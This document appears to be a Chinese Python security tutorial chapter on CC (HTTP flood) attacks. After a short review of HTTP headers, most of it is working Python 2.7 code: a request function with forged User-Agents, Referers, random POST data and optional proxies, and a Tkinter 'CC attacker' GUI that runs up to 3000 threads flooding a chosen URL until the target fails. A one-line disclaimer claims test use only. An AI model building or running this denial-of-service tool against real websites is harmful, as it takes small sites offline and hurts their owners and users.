python安全开发第三章第四节–cc攻击原理
CC 攻击是一种小企业比较担心的攻击手段,因为他们大多不会在网站上投入太多,所以说一般cc攻击很适合攻击小型网站,当然如果量足够大或者配合ddos也足够给大型网站造成影响,这一篇主要讲cc的原理,这也是web攻击的常见的一种方式。
回顾一下几个主要的请求头字段
1.host:主要用于被请求资源的主机和端口号
2.User_Agent:显示我们的客户端的一些属性信息,有些服务器会针对此过滤来组织一些非人工的浏览请求
3.Referer:定义用户是从什么地方来本页面的
4Keep-Alive:定义会话保持时间
5Connection:定义这个请求结束后是否保持还是关闭连接
回顾一下几个主要的响应头字段
1.Server:显示web服务的类型
2.Last-Modified 资源最后修改时间
3.Location:定义浏览器跳转其他页面
4.Content-Type:定义传输类型
5 .Content-Length:指明传输实体的长度
6.Set-Cookie:向客户端设置cookie
先模拟一次简单的cc攻击让大家理解原理
注释:python2.7的代码,python3需要使用requests重写
import urllib,urllib2#这里还是使用这两个模块讲解,当然大家可以自己替换为requests这个第三方模块
import sys #有一些涉及系统方面的操作需要它
import random 这是一个随机数模块,因为我们要伪造多人多客户端访问,要模拟无规律的行为
import ssl #这里仅仅是为了关闭ssl认证
ssl._create_default_https_context=ssl._create_unverified_context#这里死记硬背就行了
url='http://xxxxx.com'#选择一个网址
host=''#定义请求中的host字段
headers_useragents=[]#定义一个User_Agent组,随机抽取伪造多客户端登陆
headers_referers=[]#定义一个组,伪造跳转链接,伪造从百度或者谷歌跳转过来的页面
proxy_ip=[] #如果想模拟多客户端的话,最好使用代理,当然没有代理,小网站也扛不住
#构造User_Agent字段列表
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51'
return(headers_useragents)
#构造headers_referers字段列表,用于模拟跳转
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('https://www.sogou.com/web?query=')
headers_referers.append('http://www.facebook.com/sharer/sharer.php?u=')
headers_referers.append('http://' + host + '/')
return(headers_referers)
#定义一些代理,代理如果多可以写在文档里,然后读取,这里就简单的写一个函数处理
def proxyip_list():
global proxy_ip
proxy_ip.append('http://aaaa.com')
proxy_ip.append('http://bbb.com')
return proxy_ip
#随机生成字母,连接我们构造的referer
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
# 一次CC攻击模拟
def httpcall(url):
useragent_list()
referer_list()
proxyip_list()
headers = {
'User-Agent':random.choice(headers_useragents),#随机选个浏览器
'Cache-Control':'no-cache',
'Accept-Charset':'ISO-8859-1,utf-8;q=0.7,*;q=0.7',#设置接收的编码类型,这个死记硬背就行了,不定义也可以
'Referer':random.choice(headers_referers) + buildblock(random.randint(5,10)),#伪造跳转连接
'Keep-Alive':random.randint(110,120),#保持连接,其实在http1.1协议中,这个字段应该无意义了,稳妥起见还是设置
'Connection':'keep-alive',#保持连接状态,这样就占用服务器资源,导致正常的网络访问变慢或者无法访问
'Host':host
}
postdata = urllib.urlencode( {
buildblock(random.randint(3,10)):buildblock(random.randint(3,10))} ) #对post请求中的data进行格式转换,使用第三方库requests则不用担心这个转码问题
req = urllib2.Request(url=url,data=postdata,headers=headers)
#proxy = urllib2.ProxyHandler({'http':random.choice(proxy_ip)}) #如果有代理就把注释去掉
#opener = urllib2.build_opener(proxy,urllib2.HTTPHandler)#同上
#opener.open(req)#如果使用代理这么来
try:
urllib2.urlopen(req,timeout=5#定义一个连接超时
except urllib2.HTTPError, e:
print e.code
except urllib2.URLError, e:
print e.reason
附赠一个GUI版本代码,使用Tk,urllib2python3也没有了
# -*-coding:utf-8-*-
from Tkinter import *
import tkMessageBox
import urllib2
#import pdb
import sys
import threading
import random
import re
import ssl
ssl._create_default_https_context = ssl._create_unverified_context
root = Tk()
root.title("CC攻击器")
root.geometry('400x300')
#root.iconbitmap('favicon.ico')
# global params
host = ''
headers_useragents = []
headers_referers = []
request_counter = 0
flag = 0
safe = 0
safe_ = IntVar()
url = ''
url_ = StringVar()
value1 =StringVar()
url_.set('http://www.evil0x.com') # <input your url>
def inc_counter():
global request_counter
request_counter += 1
def set_flag(val):
global flag
flag = val
def set_safe():
global safe
safe = 1
# generates a user agent array
def useragent_list():
global headers_useragents
headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
return(headers_useragents)
# generates a referer array
def referer_list():
global headers_referers
headers_referers.append('http://www.google.com/?q=')
headers_referers.append('http://www.usatoday.com/search/results?q=')
headers_referers.append('http://engadget.search.aol.com/search?q=')
headers_referers.append('http://' + host + '/')
return(headers_referers)
# builds random ascii string
def buildblock(size):
out_str = ''
for i in range(0, size):
a = random.randint(65, 90)
out_str += chr(a)
return(out_str)
# http request
def httpcall(url):
global log
useragent_list()
referer_list()
code = 0
if url.count("?") > 0:
param_joiner = "&"
else:
param_joiner = "?"
request = urllib2.Request(url + param_joiner + buildblock(random.randint(3, 10)) + '=' + buildblock(random.randint(3, 10)))
request.add_header('User-Agent', random.choice(headers_useragents))
request.add_header('Cache-Control', 'no-cache')
request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5, 10)))
request.add_header('Keep-Alive', random.randint(110, 120))
request.add_header('Connection', 'keep-alive')
request.add_header('Host', host)
try:
urllib2.urlopen(request)
except urllib2.HTTPError, e:
# print e.code
set_flag(1)
log.insert(1.0, 'Response Code 500\n')
code = 500
except urllib2.URLError, e:
# print e.reason
log.insert(1.0, e)
sys.exit()
else:
inc_counter()
urllib2.urlopen(request)
return(code)
# http caller thread
class HTTPThread(threading.Thread):
def run(self):
try:
while flag < 2:
code = httpcall(url)
if (code == 500) & (safe == 1):
set_flag(2)
except Exception, ex:
pass
# monitors http threads and counts requests
class MonitorThread(threading.Thread):
def run(self):
global log
previous = request_counter
while flag == 0:
if (previous + 100 < request_counter) & (previous <> request_counter):
log.insert(1.0, "%d Requests Sent\n" % (request_counter))
previous = request_counter
if flag == 2:
log.insert(1.0, "-- Attack Finished --\n")
def safeBtnChanged():
safe = safe_.get()
def checkUrl():
'''
检查URL输入格式
'''
global url
global host
url = url_.get()
if url.count("/") == 2:
url = url + "/"
if 'evil0x' in url:
tkMessageBox.showinfo("Tip", "Plesase don't attack our web!!!'.")
return False
else:
m = re.search('https?\://([^/]*)/?.*', url)
if m is None:
tkMessageBox.showinfo("Tip", "your input URL is error format,and must be stared by 'http(s)://'.")
return False
else:
host = m.group(1)
return True
def goBtnClicked():
'''
GO按钮点击事件
'''
global headers_useragents
global headers_referers
global request_counter
global flag
global value1
if goBtn['text'] == 'GO':
if checkUrl():
goBtn['text'] = 'STOP'
headers_useragents = []
headers_referers = []
request_counter = 0
flag = 0
log.insert(1.0, "-- Attack Started --\n")
#pdb.set_trace()
for i in xrange(int(value1.get())):
t = HTTPThread()
t.setDaemon(True)
t.start()
p = MonitorThread()
p.setDaemon(True)
p.start()
else:
goBtn['state'] = DISABLED
set_flag(2)
goBtn['text'] = 'GO'
goBtn['state'] = NORMAL
def exitWindows():
root.destroy()
if __name__ == '__main__':
frame1 = Frame(root, width=50)
frame1.pack(pady=10)
Label(frame1, text='URL:').pack(side=LEFT)
# URL编辑框
Entry(frame1, width=32, textvariable=url_).pack(side=LEFT)
# safe复选框
Checkbutton(frame1, text='safe', variable=safe_, onvalue=1, offvalue=0, command=safeBtnChanged).pack(side=LEFT)
frame2=Frame(root,width=50)
frame2.pack(ipadx=10)
Label(frame2, text='线程数:').pack(side=LEFT,pady=10)
Scale(frame2,from_=100,to=3000,orient=HORIZONTAL,variable=value1).pack(side=LEFT,pady=10)
# go按钮
goBtn = Button(frame2, text='GO', command=goBtnClicked)
goBtn.pack(side=RIGHT)
frame3 = LabelFrame(root, width=50, text='Log')
frame3.pack(padx=10, pady=5)
# log日志框
log = Text(frame3)
log.pack(side=LEFT)
log.insert(1.0, "免责声明:我们复写这段程序只用作测试,任何非法使用我们概不负责,另外建议选择safe,选择safe则当目标瘫痪后自动停止攻击,另外有效性和服务器负载及安全性有很大关系。")
# 窗口退出前,结束所有任务
root.protocol('WM_DELETE_WINDOW', exitWindows)
root.mainloop()